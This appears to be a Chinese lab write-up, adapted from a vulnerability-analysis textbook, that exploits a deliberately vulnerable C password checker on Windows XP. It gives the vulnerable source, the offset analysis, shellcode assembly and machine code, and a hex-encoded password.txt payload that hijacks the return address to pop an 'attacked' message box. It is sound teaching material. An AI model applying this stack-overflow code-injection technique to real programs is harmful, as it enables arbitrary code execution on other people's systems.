栈溢出基础实验二

向进程中植入代码,为了完成在栈区植入代码并执行,我在上次的实验密码验证程序的基础上稍加修改,使用如下代码。

#include<windows.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#pragma comment(lib,"user32.lib")
#define PASSWORD "1234567"

int verify_password(char *password)
{
    int authenticated;
    char buffer[64];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}

int main()
{
    int valid_flag=0;
    char password[1024];
    FILE *fp;
    if(! (fp=fopen("password.txt","rb")) )
    {
        fprintf(stderr,"Error :there is no password.txt here\n");
        exit(0);
    }

    fscanf(fp,"%s",password);
    valid_flag=verify_password(password);

    if(valid_flag)
    {
        MessageBoxA(NULL,"incorrect password!","info",NULL);
    }
    else
    {
        MessageBoxA(NULL,"congratulation! you passed the verification!","info",NULL);
    }

    fclose(fp);
}

这里提供源程序main.exe下载。

操作环境:Windows XP

编译器:VC 6.0++

注意:Win10 + VS2017环境生成的代码每次执行时变量的地址都不同(这个不是本实验要解决的问题),会导致本实验失败,但是XP + VC6.0++则不会,所以使用该环境进行实验。

说明:即使完全采用所推荐的实验环境,函数返回地址,MessagcBoxA函数的入口地址等也需要重新确定,因为这些地址可能依赖于操作系统的补丁版本等。这些地址的确定方法在实验指导中均给出了详细的说明。

测试环境:Win10,win10每次开关机user32.dll都会随机载入内存(虚拟地址不一样,至于是不是真的随机,这里就不探讨了),即MessageBoxA在内存中的地址,只要你开关机了,他就会变化,XP就不会,本人用xp测试过,开关机之后user32.dll在虚拟内存中的位置依然不变。但我还是比较喜欢用Win10。

用VC6.0将上述代码编译,得到有栈溢出的可执行文件。在同目录下创建password.txt文件用于程序调试。

我们准备在password.xt文件中植入二进制的机器码,在password.txt攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“attacked”字样。

让我们在动手之前回顾一下我们需要完成的几项工作。

(1)分析并调试漏洞程序,获得淹没返回地址的偏移。

(2)获得buffer的起始地址,并将其写入pasword.txt的相应偏移处,用来冲刷返回地址。

(3)向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。

本节验证程序里 verify_password 中的缓冲区为64个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态。

如果在password.txt中写入恰好64个字符,还有authenticated的4个字节,ebp的4个字节,返回地址的4个字节,总共76个字节。

所以,先在password.txt中写入19组“1234”。

  Offset: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  
00000000: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000010: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000020: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000030: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000040: 31 32 33 34 31 32 33 34 31 32 33 34                123412341234

再通过IDA进行调试,从调试中,我们可以得到以下信息。

(1)buffer数组的起始地址。

(2)pasword.txt文件中第72~76个字符的ASCIl码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。也就是说,将buffer的起始地址写入password.txt文件中的第72~76个字节,

在verify_password函数返回时会跳到我们输入的字串开始取指执行。

我们下面还需要给password.txt中植入机器代码。

让程序弹出一个消息框,只需要调用Windows的API函数MessageBox,MSDN对这个函数的解释如下。

int MessageBox(
    HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);

hWnd 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口。

lpText 字符串指针,所指字符串会在消息框中显示。

lpCaption 字符串指针,所指字符串将成为消息框的标题。

uType 消息框的风格(单按钮、多按钮等),NULL代表默认风格。

我们将给出调用这个API的汇编代码,然后翻译成机器代码,用十六进制编辑工具填入password.txt文件。

题外话:熟悉MFC的程序员一定知道,其实系统中并不存在真正的MesagBox函数,对MessageBox 这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCⅡ)或者“W”类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是MessageBoxA。多说一句,其实MessageBoxA的实现只是在设置了几个不常用参数后直接调用MessageBoxExA。探究API的细节超出了本实验所讨论的范围,有兴趣的可以参阅其他书籍(如:《Windows程序设计》)。

那如何获得MessageBoxA函数的入口地址,我认为比较好的方法就是用汇编方法得到。将下面的汇编代码用VS2017的命令行工具ml进行编译,用IDA在相应的地方下断点即可得到相应的入口地址了。

; Listing generated by Microsoft (R) Optimizing Compiler Version 19.15.26726.0 

    .686P
    .XMM
    include listing.inc
    .model    flat

INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
INCLUDELIB user32

PUBLIC    _main
EXTRN    __imp__MessageBoxA@16:PROC
_DATA    SEGMENT
$SG95269 DB    'world', 00H
    ORG $+2
$SG95270 DB    'hello', 00H
_DATA    ENDS
; Function compile flags: /Odtp
_TEXT    SEGMENT
_main    PROC
    push    ebp
    mov    ebp, esp

    push    0
    push    OFFSET $SG95269
    push    OFFSET $SG95270
    push    0
    mov    eax,DWORD PTR __imp__MessageBoxA@16
    call eax ; 在这里下断点

    xor    eax, eax 
    pop    ebp
    ret    0
_main    ENDP
_TEXT    ENDS
END

当然,也可以使用下面的C语言代码,结果都是一样的。不过当然是直接用下面代码结果来得更快,编译器可能会警告,但是不影响运行结果。

#include<windows.h>
#pragma comment(lib,"user32.lib")

int main()
{
    printf("%08X\n",MessageBoxA);
}

//输出:755DF8B0

注意:user32.dll的基地址和其中导出函数的偏移地址与操作系统版本号、补丁版本号等诸多因素相关,故您用于实验的计算机上的函数入口地址很可能与这里不一致。请您一定注意要在当前实验的计算机上重新计算函数入口地址,否则后面的函数调用会出错。

可能很多人并不知道机器代码该怎么写,毕竟正常人顶多学个汇编,没多少人会去记机器代码,那要植入的代码如何来呢?其实只要会汇编就够了,如下面的汇编,只要把下面的汇编用VS2017的命令行工具ml进行编译,然后找到相应的代码段即可,可以使用IDA,Python之类的工具来提取机器代码,如果自己手动输入机器代码的话,若要植入一个微型木马都是一件很吃力的事情。

    .686P
    .XMM
    include listing.inc
    .model    flat

INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES

PUBLIC    _main

_TEXT    SEGMENT
_main    PROC
    xor ebx,ebx ;使ebx变成0,因为password.txt文件是不能直接输入0的,否则在strcpy时,就会遇到0停止
    push ebx ;相当于在栈中,给下面的字符串加上一个0作为字符串的结尾
    push 064656B63h ;'dekc'
    push 061747461h ;'atta'
    mov eax,esp ;esp相当于'attacked\0'的首地址
    push ebx ;0
    push eax
    push eax
    push ebx ;0
    mov eax,0755df8b0h ;我得到的MessageBoxA函数的入口地址
    call eax

    mov eax,011afbe9h;原来的值是0019fae8h,由于该值有0在内部,所以只能用这个方法间接得到该值,下面的几个同理
    sub eax,01010101h
    mov esp,eax ;恢复esp原始的值使得程序可以正常退出

    mov eax,011b0141h
    sub eax,01010201h
    mov ebp,eax ;恢复esp原始的值使得程序可以正常退出

    xor eax,eax ;将eax变为0,使得后面的验证得以成功

    mov ebx,01411217h
    sub ebx,01010101h
    jmp ebx ;跳转到原始的返回地址,使得程序可以正常退出
_main    ENDP
_TEXT    ENDS
END

然后得到相应的机器代码。

.text:00401000                 xor     ebx, ebx
.text:00401002                 push    ebx
.text:00401003                 push    64656B63h
.text:00401008                 push    61747461h
.text:0040100D                 mov     eax, esp
.text:0040100F                 push    ebx
.text:00401010                 push    eax
.text:00401011                 push    eax
.text:00401012                 push    ebx
.text:00401013                 mov     eax, 7414F8B0h
.text:00401018                 call    eax
.text:0040101A                 mov     eax, 11AFBE9h
.text:0040101F                 sub     eax, 1010101h
.text:00401024                 mov     esp, eax
.text:00401026                 mov     eax, 11B0141h
.text:0040102B                 sub     eax, 1010201h
.text:00401030                 mov     ebp, eax
.text:00401032                 xor     eax, eax
.text:00401034                 mov     ebx, 1411217h
.text:00401039                 sub     ebx, 1010101h
.text:0040103F                 jmp     ebx

00401000  33 DB 53 68 63 6B 65 64  68 61 74 74 61 8B C4 53
00401010  50 50 53 B8 B0 F8 14 74  FF D0 B8 E9 FB 1A 01 2D
00401020  01 01 01 01 8B E0 B8 41  01 1B 01 2D 01 02 01 01
00401030  8B E8 33 C0 BB 17 12 41  01 81 EB 01 01 01 01 FF
00401040  E3

最后再得到相应的password.txt 文件。

  Offset: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 
00000000: 33 DB 53 68 63 6B 65 64 68 61 74 74 61 8B C4 53    3[Shckedhatta.DS
00000010: 50 50 53 B8 B0 F8 5D 75 FF D0 B8 E9 FB 1A 01 2D    PPS80x]u.P8i{..-
00000020: 01 01 01 01 8B E0 B8 41 01 1B 01 2D 01 02 01 01    .....`8A...-....
00000030: 8B E8 33 C0 BB 17 12 41 01 81 EB 01 01 01 01 FF    .h3@;..A..k.....
00000040: E3 32 33 34 41 01 1B 01 3C FB 19 00                c234A...<{..

红色部分就是MessageBoxA的入口地址,只不过因为小端的原因,所以高位在后,低位在前,password.txt文件中的第72~76个字节为修改好的返回地址,也就是buffer的首地址。

然后将password.txt放在和程序相同的目录,再运行程序,结果如下,程序执行了被植入的代码,而且还可以正常退出。

改编自0day安全:软件漏洞分析技术(第二版)